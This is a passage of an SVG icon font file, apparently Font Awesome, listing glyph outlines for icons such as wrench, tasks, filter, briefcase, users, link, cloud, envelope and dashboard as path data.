0 17.5t2 18.5q-3 6 -10.5 4.5t-12 -4.5t-11.5 -8.5t-9 -6.5t-8.5 -5.5t-8.5 -7.5q-3 -4 -6 -12t-5 -11q-2 4 -11.5 6.5t-9.5 5.5q2 -10 4 -35t5 -38q7 -31 -12 -48q-27 -25 -29 -40q-4 -22 12 -26q0 -7 -8 -20.5t-7 -21.5q0 -6 2 -16z" />
<glyph unicode="&#xf0ad;" horiz-adv-x="1664" d="M384 64q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1028 484l-682 -682q-37 -37 -90 -37q-52 0 -91 37l-106 108q-38 36 -38 90q0 53 38 91l681 681q39 -98 114.5 -173.5t173.5 -114.5zM1662 919q0 -39 -23 -106q-47 -134 -164.5 -217.5 t-258.5 -83.5q-185 0 -316.5 131.5t-131.5 316.5t131.5 316.5t316.5 131.5q58 0 121.5 -16.5t107.5 -46.5q16 -11 16 -28t-16 -28l-293 -169v-224l193 -107q5 3 79 48.5t135.5 81t70.5 35.5q15 0 23.5 -10t8.5 -25z" />
<glyph unicode="&#xf0ae;" horiz-adv-x="1792" d="M1024 128h640v128h-640v-128zM640 640h1024v128h-1024v-128zM1280 1152h384v128h-384v-128zM1792 320v-256q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1792 832v-256q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19 t-19 45v256q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1792 1344v-256q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h1664q26 0 45 -19t19 -45z" />
<glyph unicode="&#xf0b0;" horiz-adv-x="1408" d="M1403 1241q17 -41 -14 -70l-493 -493v-742q0 -42 -39 -59q-13 -5 -25 -5q-27 0 -45 19l-256 256q-19 19 -19 45v486l-493 493q-31 29 -14 70q17 39 59 39h1280q42 0 59 -39z" />
<glyph unicode="&#xf0b1;" horiz-adv-x="1792" d="M640 1280h512v128h-512v-128zM1792 640v-480q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v480h672v-160q0 -26 19 -45t45 -19h320q26 0 45 19t19 45v160h672zM1024 640v-128h-256v128h256zM1792 1120v-384h-1792v384q0 66 47 113t113 47h352v160q0 40 28 68 t68 28h576q40 0 68 -28t28 -68v-160h352q66 0 113 -47t47 -113z" />
<glyph unicode="&#xf0b2;" d="M1283 995l-355 -355l355 -355l144 144q29 31 70 14q39 -17 39 -59v-448q0 -26 -19 -45t-45 -19h-448q-42 0 -59 40q-17 39 14 69l144 144l-355 355l-355 -355l144 -144q31 -30 14 -69q-17 -40 -59 -40h-448q-26 0 -45 19t-19 45v448q0 42 40 59q39 17 69 -14l144 -144 l355 355l-355 355l-144 -144q-19 -19 -45 -19q-12 0 -24 5q-40 17 -40 59v448q0 26 19 45t45 19h448q42 0 59 -40q17 -39 -14 -69l-144 -144l355 -355l355 355l-144 144q-31 30 -14 69q17 40 59 40h448q26 0 45 -19t19 -45v-448q0 -42 -39 -59q-13 -5 -25 -5q-26 0 -45 19z " />
<glyph unicode="&#xf0c0;" horiz-adv-x="1920" d="M593 640q-162 -5 -265 -128h-134q-82 0 -138 40.5t-56 118.5q0 353 124 353q6 0 43.5 -21t97.5 -42.5t119 -21.5q67 0 133 23q-5 -37 -5 -66q0 -139 81 -256zM1664 3q0 -120 -73 -189.5t-194 -69.5h-874q-121 0 -194 69.5t-73 189.5q0 53 3.5 103.5t14 109t26.5 108.5 t43 97.5t62 81t85.5 53.5t111.5 20q10 0 43 -21.5t73 -48t107 -48t135 -21.5t135 21.5t107 48t73 48t43 21.5q61 0 111.5 -20t85.5 -53.5t62 -81t43 -97.5t26.5 -108.5t14 -109t3.5 -103.5zM640 1280q0 -106 -75 -181t-181 -75t-181 75t-75 181t75 181t181 75t181 -75 t75 -181zM1344 896q0 -159 -112.5 -271.5t-271.5 -112.5t-271.5 112.5t-112.5 271.5t112.5 271.5t271.5 112.5t271.5 -112.5t112.5 -271.5zM1920 671q0 -78 -56 -118.5t-138 -40.5h-134q-103 123 -265 128q81 117 81 256q0 29 -5 66q66 -23 133 -23q59 0 119 21.5t97.5 42.5 t43.5 21q124 0 124 -353zM1792 1280q0 -106 -75 -181t-181 -75t-181 75t-75 181t75 181t181 75t181 -75t75 -181z" />
<glyph unicode="&#xf0c1;" horiz-adv-x="1664" d="M1456 320q0 40 -28 68l-208 208q-28 28 -68 28q-42 0 -72 -32q3 -3 19 -18.5t21.5 -21.5t15 -19t13 -25.5t3.5 -27.5q0 -40 -28 -68t-68 -28q-15 0 -27.5 3.5t-25.5 13t-19 15t-21.5 21.5t-18.5 19q-33 -31 -33 -73q0 -40 28 -68l206 -207q27 -27 68 -27q40 0 68 26 l147 146q28 28 28 67zM753 1025q0 40 -28 68l-206 207q-28 28 -68 28q-39 0 -68 -27l-147 -146q-28 -28 -28 -67q0 -40 28 -68l208 -208q27 -27 68 -27q42 0 72 31q-3 3 -19 18.5t-21.5 21.5t-15 19t-13 25.5t-3.5 27.5q0 40 28 68t68 28q15 0 27.5 -3.5t25.5 -13t19 -15 t21.5 -21.5t18.5 -19q33 31 33 73zM1648 320q0 -120 -85 -203l-147 -146q-83 -83 -203 -83q-121 0 -204 85l-206 207q-83 83 -83 203q0 123 88 209l-88 88q-86 -88 -208 -88q-120 0 -204 84l-208 208q-84 84 -84 204t85 203l147 146q83 83 203 83q121 0 204 -85l206 -207 q83 -83 83 -203q0 -123 -88 -209l88 -88q86 88 208 88q120 0 204 -84l208 -208q84 -84 84 -204z" />
<glyph unicode="&#xf0c2;" horiz-adv-x="1920" d="M1920 384q0 -159 -112.5 -271.5t-271.5 -112.5h-1088q-185 0 -316.5 131.5t-131.5 316.5q0 132 71 241.5t187 163.5q-2 28 -2 43q0 212 150 362t362 150q158 0 286.5 -88t187.5 -230q70 62 166 62q106 0 181 -75t75 -181q0 -75 -41 -138q129 -30 213 -134.5t84 -239.5z " />
<glyph unicode="&#xf0c3;" horiz-adv-x="1664" d="M1527 88q56 -89 21.5 -152.5t-140.5 -63.5h-1152q-106 0 -140.5 63.5t21.5 152.5l503 793v399h-64q-26 0 -45 19t-19 45t19 45t45 19h512q26 0 45 -19t19 -45t-19 -45t-45 -19h-64v-399zM748 813l-272 -429h712l-272 429l-20 31v37v399h-128v-399v-37z" />
<glyph unicode="&#xf0c4;" horiz-adv-x="1792" d="M960 640q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1260 576l507 -398q28 -20 25 -56q-5 -35 -35 -51l-128 -64q-13 -7 -29 -7q-17 0 -31 8l-690 387l-110 -66q-8 -4 -12 -5q14 -49 10 -97q-7 -77 -56 -147.5t-132 -123.5q-132 -84 -277 -84 q-136 0 -222 78q-90 84 -79 207q7 76 56 147t131 124q132 84 278 84q83 0 151 -31q9 13 22 22l122 73l-122 73q-13 9 -22 22q-68 -31 -151 -31q-146 0 -278 84q-82 53 -131 124t-56 147q-5 59 15.5 113t63.5 93q85 79 222 79q145 0 277 -84q83 -52 132 -123t56 -148 q4 -48 -10 -97q4 -1 12 -5l110 -66l690 387q14 8 31 8q16 0 29 -7l128 -64q30 -16 35 -51q3 -36 -25 -56zM579 836q46 42 21 108t-106 117q-92 59 -192 59q-74 0 -113 -36q-46 -42 -21 -108t106 -117q92 -59 192 -59q74 0 113 36zM494 91q81 51 106 117t-21 108 q-39 36 -113 36q-100 0 -192 -59q-81 -51 -106 -117t21 -108q39 -36 113 -36q100 0 192 59zM672 704l96 -58v11q0 36 33 56l14 8l-79 47l-26 -26q-3 -3 -10 -11t-12 -12q-2 -2 -4 -3.5t-3 -2.5zM896 480l96 -32l736 576l-128 64l-768 -431v-113l-160 -96l9 -8q2 -2 7 -6 q4 -4 11 -12t11 -12l26 -26zM1600 64l128 64l-520 408l-177 -138q-2 -3 -13 -7z" />
<glyph unicode="&#xf0c5;" horiz-adv-x="1792" d="M1696 1152q40 0 68 -28t28 -68v-1216q0 -40 -28 -68t-68 -28h-960q-40 0 -68 28t-28 68v288h-544q-40 0 -68 28t-28 68v672q0 40 20 88t48 76l408 408q28 28 76 48t88 20h416q40 0 68 -28t28 -68v-328q68 40 128 40h416zM1152 939l-299 -299h299v299zM512 1323l-299 -299 h299v299zM708 676l316 316v416h-384v-416q0 -40 -28 -68t-68 -28h-416v-640h512v256q0 40 20 88t48 76zM1664 -128v1152h-384v-416q0 -40 -28 -68t-68 -28h-416v-640h896z" />
<glyph unicode="&#xf0c6;" horiz-adv-x="1408" d="M1404 151q0 -117 -79 -196t-196 -79q-135 0 -235 100l-777 776q-113 115 -113 271q0 159 110 270t269 111q158 0 273 -113l605 -606q10 -10 10 -22q0 -16 -30.5 -46.5t-46.5 -30.5q-13 0 -23 10l-606 607q-79 77 -181 77q-106 0 -179 -75t-73 -181q0 -105 76 -181 l776 -777q63 -63 145 -63q64 0 106 42t42 106q0 82 -63 145l-581 581q-26 24 -60 24q-29 0 -48 -19t-19 -48q0 -32 25 -59l410 -410q10 -10 10 -22q0 -16 -31 -47t-47 -31q-12 0 -22 10l-410 410q-63 61 -63 149q0 82 57 139t139 57q88 0 149 -63l581 -581q100 -98 100 -235 z" />
<glyph unicode="&#xf0c7;" d="M384 0h768v384h-768v-384zM1280 0h128v896q0 14 -10 38.5t-20 34.5l-281 281q-10 10 -34 20t-39 10v-416q0 -40 -28 -68t-68 -28h-576q-40 0 -68 28t-28 68v416h-128v-1280h128v416q0 40 28 68t68 28h832q40 0 68 -28t28 -68v-416zM896 928v320q0 13 -9.5 22.5t-22.5 9.5 h-192q-13 0 -22.5 -9.5t-9.5 -22.5v-320q0 -13 9.5 -22.5t22.5 -9.5h192q13 0 22.5 9.5t9.5 22.5zM1536 896v-928q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1344q0 40 28 68t68 28h928q40 0 88 -20t76 -48l280 -280q28 -28 48 -76t20 -88z" />
<glyph unicode="&#xf0c8;" d="M1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
<glyph unicode="&#xf0c9;" d="M1536 192v-128q0 -26 -19 -45t-45 -19h-1408q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1408q26 0 45 -19t19 -45zM1536 704v-128q0 -26 -19 -45t-45 -19h-1408q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1408q26 0 45 -19t19 -45zM1536 1216v-128q0 -26 -19 -45 t-45 -19h-1408q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1408q26 0 45 -19t19 -45z" />
<glyph unicode="&#xf0ca;" horiz-adv-x="1792" d="M384 128q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM384 640q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM1792 224v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1216q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5 t22.5 9.5h1216q13 0 22.5 -9.5t9.5 -22.5zM384 1152q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM1792 736v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1216q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1216q13 0 22.5 -9.5t9.5 -22.5z M1792 1248v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1216q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1216q13 0 22.5 -9.5t9.5 -22.5z" />
<glyph unicode="&#xf0cb;" horiz-adv-x="1792" d="M381 -84q0 -80 -54.5 -126t-135.5 -46q-106 0 -172 66l57 88q49 -45 106 -45q29 0 50.5 14.5t21.5 42.5q0 64 -105 56l-26 56q8 10 32.5 43.5t42.5 54t37 38.5v1q-16 0 -48.5 -1t-48.5 -1v-53h-106v152h333v-88l-95 -115q51 -12 81 -49t30 -88zM383 543v-159h-362 q-6 36 -6 54q0 51 23.5 93t56.5 68t66 47.5t56.5 43.5t23.5 45q0 25 -14.5 38.5t-39.5 13.5q-46 0 -81 -58l-85 59q24 51 71.5 79.5t105.5 28.5q73 0 123 -41.5t50 -112.5q0 -50 -34 -91.5t-75 -64.5t-75.5 -50.5t-35.5 -52.5h127v60h105zM1792 224v-192q0 -13 -9.5 -22.5 t-22.5 -9.5h-1216q-13 0 -22.5 9.5t-9.5 22.5v192q0 14 9 23t23 9h1216q13 0 22.5 -9.5t9.5 -22.5zM384 1123v-99h-335v99h107q0 41 0.5 122t0.5 121v12h-2q-8 -17 -50 -54l-71 76l136 127h106v-404h108zM1792 736v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1216q-13 0 -22.5 9.5 t-9.5 22.5v192q0 14 9 23t23 9h1216q13 0 22.5 -9.5t9.5 -22.5zM1792 1248v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1216q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1216q13 0 22.5 -9.5t9.5 -22.5z" />
<glyph unicode="&#xf0cc;" horiz-adv-x="1792" d="M1760 640q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-1728q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h1728zM483 704q-28 35 -51 80q-48 97 -48 188q0 181 134 309q133 127 393 127q50 0 167 -19q66 -12 177 -48q10 -38 21 -118q14 -123 14 -183q0 -18 -5 -45l-12 -3l-84 6 l-14 2q-50 149 -103 205q-88 91 -210 91q-114 0 -182 -59q-67 -58 -67 -146q0 -73 66 -140t279 -129q69 -20 173 -66q58 -28 95 -52h-743zM990 448h411q7 -39 7 -92q0 -111 -41 -212q-23 -55 -71 -104q-37 -35 -109 -81q-80 -48 -153 -66q-80 -21 -203 -21q-114 0 -195 23 l-140 40q-57 16 -72 28q-8 8 -8 22v13q0 108 -2 156q-1 30 0 68l2 37v44l102 2q15 -34 30 -71t22.5 -56t12.5 -27q35 -57 80 -94q43 -36 105 -57q59 -22 132 -22q64 0 139 27q77 26 122 86q47 61 47 129q0 84 -81 157q-34 29 -137 71z" />
<glyph unicode="&#xf0cd;" d="M48 1313q-37 2 -45 4l-3 88q13 1 40 1q60 0 112 -4q132 -7 166 -7q86 0 168 3q116 4 146 5q56 0 86 2l-1 -14l2 -64v-9q-60 -9 -124 -9q-60 0 -79 -25q-13 -14 -13 -132q0 -13 0.5 -32.5t0.5 -25.5l1 -229l14 -280q6 -124 51 -202q35 -59 96 -92q88 -47 177 -47 q104 0 191 28q56 18 99 51q48 36 65 64q36 56 53 114q21 73 21 229q0 79 -3.5 128t-11 122.5t-13.5 159.5l-4 59q-5 67 -24 88q-34 35 -77 34l-100 -2l-14 3l2 86h84l205 -10q76 -3 196 10l18 -2q6 -38 6 -51q0 -7 -4 -31q-45 -12 -84 -13q-73 -11 -79 -17q-15 -15 -15 -41 q0 -7 1.5 -27t1.5 -31q8 -19 22 -396q6 -195 -15 -304q-15 -76 -41 -122q-38 -65 -112 -123q-75 -57 -182 -89q-109 -33 -255 -33q-167 0 -284 46q-119 47 -179 122q-61 76 -83 195q-16 80 -16 237v333q0 188 -17 213q-25 36 -147 39zM1536 -96v64q0 14 -9 23t-23 9h-1472 q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h1472q14 0 23 9t9 23z" />
<glyph unicode="&#xf0ce;" horiz-adv-x="1664" d="M512 160v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM512 544v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1024 160v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23 v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM512 928v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1024 544v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1536 160v192 q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1024 928v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1536 544v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192 q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1536 928v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1664 1248v-1088q0 -66 -47 -113t-113 -47h-1344q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h1344q66 0 113 -47t47 -113 z" />
<glyph unicode="&#xf0d0;" horiz-adv-x="1664" d="M1190 955l293 293l-107 107l-293 -293zM1637 1248q0 -27 -18 -45l-1286 -1286q-18 -18 -45 -18t-45 18l-198 198q-18 18 -18 45t18 45l1286 1286q18 18 45 18t45 -18l198 -198q18 -18 18 -45zM286 1438l98 -30l-98 -30l-30 -98l-30 98l-98 30l98 30l30 98zM636 1276 l196 -60l-196 -60l-60 -196l-60 196l-196 60l196 60l60 196zM1566 798l98 -30l-98 -30l-30 -98l-30 98l-98 30l98 30l30 98zM926 1438l98 -30l-98 -30l-30 -98l-30 98l-98 30l98 30l30 98z" />
<glyph unicode="&#xf0d1;" horiz-adv-x="1792" d="M640 128q0 52 -38 90t-90 38t-90 -38t-38 -90t38 -90t90 -38t90 38t38 90zM256 640h384v256h-158q-13 0 -22 -9l-195 -195q-9 -9 -9 -22v-30zM1536 128q0 52 -38 90t-90 38t-90 -38t-38 -90t38 -90t90 -38t90 38t38 90zM1792 1216v-1024q0 -15 -4 -26.5t-13.5 -18.5 t-16.5 -11.5t-23.5 -6t-22.5 -2t-25.5 0t-22.5 0.5q0 -106 -75 -181t-181 -75t-181 75t-75 181h-384q0 -106 -75 -181t-181 -75t-181 75t-75 181h-64q-3 0 -22.5 -0.5t-25.5 0t-22.5 2t-23.5 6t-16.5 11.5t-13.5 18.5t-4 26.5q0 26 19 45t45 19v320q0 8 -0.5 35t0 38 t2.5 34.5t6.5 37t14 30.5t22.5 30l198 198q19 19 50.5 32t58.5 13h160v192q0 26 19 45t45 19h1024q26 0 45 -19t19 -45z" />
<glyph unicode="&#xf0d2;" d="M1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103q-111 0 -218 32q59 93 78 164q9 34 54 211q20 -39 73 -67.5t114 -28.5q121 0 216 68.5t147 188.5t52 270q0 114 -59.5 214t-172.5 163t-255 63q-105 0 -196 -29t-154.5 -77t-109 -110.5t-67 -129.5t-21.5 -134 q0 -104 40 -183t117 -111q30 -12 38 20q2 7 8 31t8 30q6 23 -11 43q-51 61 -51 151q0 151 104.5 259.5t273.5 108.5q151 0 235.5 -82t84.5 -213q0 -170 -68.5 -289t-175.5 -119q-61 0 -98 43.5t-23 104.5q8 35 26.5 93.5t30 103t11.5 75.5q0 50 -27 83t-77 33 q-62 0 -105 -57t-43 -142q0 -73 25 -122l-99 -418q-17 -70 -13 -177q-206 91 -333 281t-127 423q0 209 103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
<glyph unicode="&#xf0d3;" d="M1248 1408q119 0 203.5 -84.5t84.5 -203.5v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-725q85 122 108 210q9 34 53 209q21 -39 73.5 -67t112.5 -28q181 0 295.5 147.5t114.5 373.5q0 84 -35 162.5t-96.5 139t-152.5 97t-197 36.5q-104 0 -194.5 -28.5t-153 -76.5 t-107.5 -109.5t-66.5 -128t-21.5 -132.5q0 -102 39.5 -180t116.5 -110q13 -5 23.5 0t14.5 19q10 44 15 61q6 23 -11 42q-50 62 -50 150q0 150 103.5 256.5t270.5 106.5q149 0 232.5 -81t83.5 -210q0 -168 -67.5 -286t-173.5 -118q-60 0 -97 43.5t-23 103.5q8 34 26.5 92.5 t29.5 102t11 74.5q0 49 -26.5 81.5t-75.5 32.5q-61 0 -103.5 -56.5t-42.5 -139.5q0 -72 24 -121l-98 -414q-24 -100 -7 -254h-183q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960z" />
<glyph unicode="&#xf0d4;" d="M917 631q0 26 -6 64h-362v-132h217q-3 -24 -16.5 -50t-37.5 -53t-66.5 -44.5t-96.5 -17.5q-99 0 -169 71t-70 171t70 171t169 71q92 0 153 -59l104 101q-108 100 -257 100q-160 0 -272 -112.5t-112 -271.5t112 -271.5t272 -112.5q165 0 266.5 105t101.5 270zM1262 585 h109v110h-109v110h-110v-110h-110v-110h110v-110h110v110zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
<glyph unicode="&#xf0d5;" horiz-adv-x="2304" d="M1437 623q0 -208 -87 -370.5t-248 -254t-369 -91.5q-149 0 -285 58t-234 156t-156 234t-58 285t58 285t156 234t234 156t285 58q286 0 491 -192l-199 -191q-117 113 -292 113q-123 0 -227.5 -62t-165.5 -168.5t-61 -232.5t61 -232.5t165.5 -168.5t227.5 -62 q83 0 152.5 23t114.5 57.5t78.5 78.5t49 83t21.5 74h-416v252h692q12 -63 12 -122zM2304 745v-210h-209v-209h-210v209h-209v210h209v209h210v-209h209z" />
<glyph unicode="&#xf0d6;" horiz-adv-x="1920" d="M768 384h384v96h-128v448h-114l-148 -137l77 -80q42 37 55 57h2v-288h-128v-96zM1280 640q0 -70 -21 -142t-59.5 -134t-101.5 -101t-138 -39t-138 39t-101.5 101t-59.5 134t-21 142t21 142t59.5 134t101.5 101t138 39t138 -39t101.5 -101t59.5 -134t21 -142zM1792 384 v512q-106 0 -181 75t-75 181h-1152q0 -106 -75 -181t-181 -75v-512q106 0 181 -75t75 -181h1152q0 106 75 181t181 75zM1920 1216v-1152q0 -26 -19 -45t-45 -19h-1792q-26 0 -45 19t-19 45v1152q0 26 19 45t45 19h1792q26 0 45 -19t19 -45z" />
<glyph unicode="&#xf0d7;" horiz-adv-x="1024" d="M1024 832q0 -26 -19 -45l-448 -448q-19 -19 -45 -19t-45 19l-448 448q-19 19 -19 45t19 45t45 19h896q26 0 45 -19t19 -45z" />
<glyph unicode="&#xf0d8;" horiz-adv-x="1024" d="M1024 320q0 -26 -19 -45t-45 -19h-896q-26 0 -45 19t-19 45t19 45l448 448q19 19 45 19t45 -19l448 -448q19 -19 19 -45z" />
<glyph unicode="&#xf0d9;" horiz-adv-x="640" d="M640 1088v-896q0 -26 -19 -45t-45 -19t-45 19l-448 448q-19 19 -19 45t19 45l448 448q19 19 45 19t45 -19t19 -45z" />
<glyph unicode="&#xf0da;" horiz-adv-x="640" d="M576 640q0 -26 -19 -45l-448 -448q-19 -19 -45 -19t-45 19t-19 45v896q0 26 19 45t45 19t45 -19l448 -448q19 -19 19 -45z" />
<glyph unicode="&#xf0db;" horiz-adv-x="1664" d="M160 0h608v1152h-640v-1120q0 -13 9.5 -22.5t22.5 -9.5zM1536 32v1120h-640v-1152h608q13 0 22.5 9.5t9.5 22.5zM1664 1248v-1216q0 -66 -47 -113t-113 -47h-1344q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1344q66 0 113 -47t47 -113z" />
<glyph unicode="&#xf0dc;" horiz-adv-x="1024" d="M1024 448q0 -26 -19 -45l-448 -448q-19 -19 -45 -19t-45 19l-448 448q-19 19 -19 45t19 45t45 19h896q26 0 45 -19t19 -45zM1024 832q0 -26 -19 -45t-45 -19h-896q-26 0 -45 19t-19 45t19 45l448 448q19 19 45 19t45 -19l448 -448q19 -19 19 -45z" />
<glyph unicode="&#xf0dd;" horiz-adv-x="1024" d="M1024 448q0 -26 -19 -45l-448 -448q-19 -19 -45 -19t-45 19l-448 448q-19 19 -19 45t19 45t45 19h896q26 0 45 -19t19 -45z" />
<glyph unicode="&#xf0de;" horiz-adv-x="1024" d="M1024 832q0 -26 -19 -45t-45 -19h-896q-26 0 -45 19t-19 45t19 45l448 448q19 19 45 19t45 -19l448 -448q19 -19 19 -45z" />
<glyph unicode="&#xf0e0;" horiz-adv-x="1792" d="M1792 826v-794q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v794q44 -49 101 -87q362 -246 497 -345q57 -42 92.5 -65.5t94.5 -48t110 -24.5h1h1q51 0 110 24.5t94.5 48t92.5 65.5q170 123 498 345q57 39 100 87zM1792 1120q0 -79 -49 -151t-122 -123 q-376 -261 -468 -325q-10 -7 -42.5 -30.5t-54 -38t-52 -32.5t-57.5 -27t-50 -9h-1h-1q-23 0 -50 9t-57.5 27t-52 32.5t-54 38t-42.5 30.5q-91 64 -262 182.5t-205 142.5q-62 42 -117 115.5t-55 136.5q0 78 41.5 130t118.5 52h1472q65 0 112.5 -47t47.5 -113z" />
<glyph unicode="&#xf0e1;" d="M349 911v-991h-330v991h330zM370 1217q1 -73 -50.5 -122t-135.5 -49h-2q-82 0 -132 49t-50 122q0 74 51.5 122.5t134.5 48.5t133 -48.5t51 -122.5zM1536 488v-568h-329v530q0 105 -40.5 164.5t-126.5 59.5q-63 0 -105.5 -34.5t-63.5 -85.5q-11 -30 -11 -81v-553h-329 q2 399 2 647t-1 296l-1 48h329v-144h-2q20 32 41 56t56.5 52t87 43.5t114.5 15.5q171 0 275 -113.5t104 -332.5z" />
<glyph unicode="&#xf0e2;" d="M1536 640q0 -156 -61 -298t-164 -245t-245 -164t-298 -61q-172 0 -327 72.5t-264 204.5q-7 10 -6.5 22.5t8.5 20.5l137 138q10 9 25 9q16 -2 23 -12q73 -95 179 -147t225 -52q104 0 198.5 40.5t163.5 109.5t109.5 163.5t40.5 198.5t-40.5 198.5t-109.5 163.5 t-163.5 109.5t-198.5 40.5q-98 0 -188 -35.5t-160 -101.5l137 -138q31 -30 14 -69q-17 -40 -59 -40h-448q-26 0 -45 19t-19 45v448q0 42 40 59q39 17 69 -14l130 -129q107 101 244.5 156.5t284.5 55.5q156 0 298 -61t245 -164t164 -245t61 -298z" />
<glyph unicode="&#xf0e3;" horiz-adv-x="1792" d="M1771 0q0 -53 -37 -90l-107 -108q-39 -37 -91 -37q-53 0 -90 37l-363 364q-38 36 -38 90q0 53 43 96l-256 256l-126 -126q-14 -14 -34 -14t-34 14q2 -2 12.5 -12t12.5 -13t10 -11.5t10 -13.5t6 -13.5t5.5 -16.5t1.5 -18q0 -38 -28 -68q-3 -3 -16.5 -18t-19 -20.5 t-18.5 -16.5t-22 -15.5t-22 -9t-26 -4.5q-40 0 -68 28l-408 408q-28 28 -28 68q0 13 4.5 26t9 22t15.5 22t16.5 18.5t20.5 19t18 16.5q30 28 68 28q10 0 18 -1.5t16.5 -5.5t13.5 -6t13.5 -10t11.5 -10t13 -12.5t12 -12.5q-14 14 -14 34t14 34l348 348q14 14 34 14t34 -14 q-2 2 -12.5 12t-12.5 13t-10 11.5t-10 13.5t-6 13.5t-5.5 16.5t-1.5 18q0 38 28 68q3 3 16.5 18t19 20.5t18.5 16.5t22 15.5t22 9t26 4.5q40 0 68 -28l408 -408q28 -28 28 -68q0 -13 -4.5 -26t-9 -22t-15.5 -22t-16.5 -18.5t-20.5 -19t-18 -16.5q-30 -28 -68 -28 q-10 0 -18 1.5t-16.5 5.5t-13.5 6t-13.5 10t-11.5 10t-13 12.5t-12 12.5q14 -14 14 -34t-14 -34l-126 -126l256 -256q43 43 96 43q52 0 91 -37l363 -363q37 -39 37 -91z" />
<glyph unicode="&#xf0e4;" horiz-adv-x="1792" d="M384 384q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM576 832q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1004 351l101 382q6 26 -7.5 48.5t-38.5 29.5 t-48 -6.5t-30 -39.5l-101 -382q-60 -5 -107 -43.5t-63 -98.5q-20 -77 20 -146t117 -89t146 20t89 117q16 60 -6 117t-72 91zM1664 384q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1024 1024q0 53 -37.5 90.5 t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1472 832q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1792 384q0 -261 -141 -483q-19 -29 -54 -29h-1402q-35 0 -54 29 q-141 221 -141 483q0 182 71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
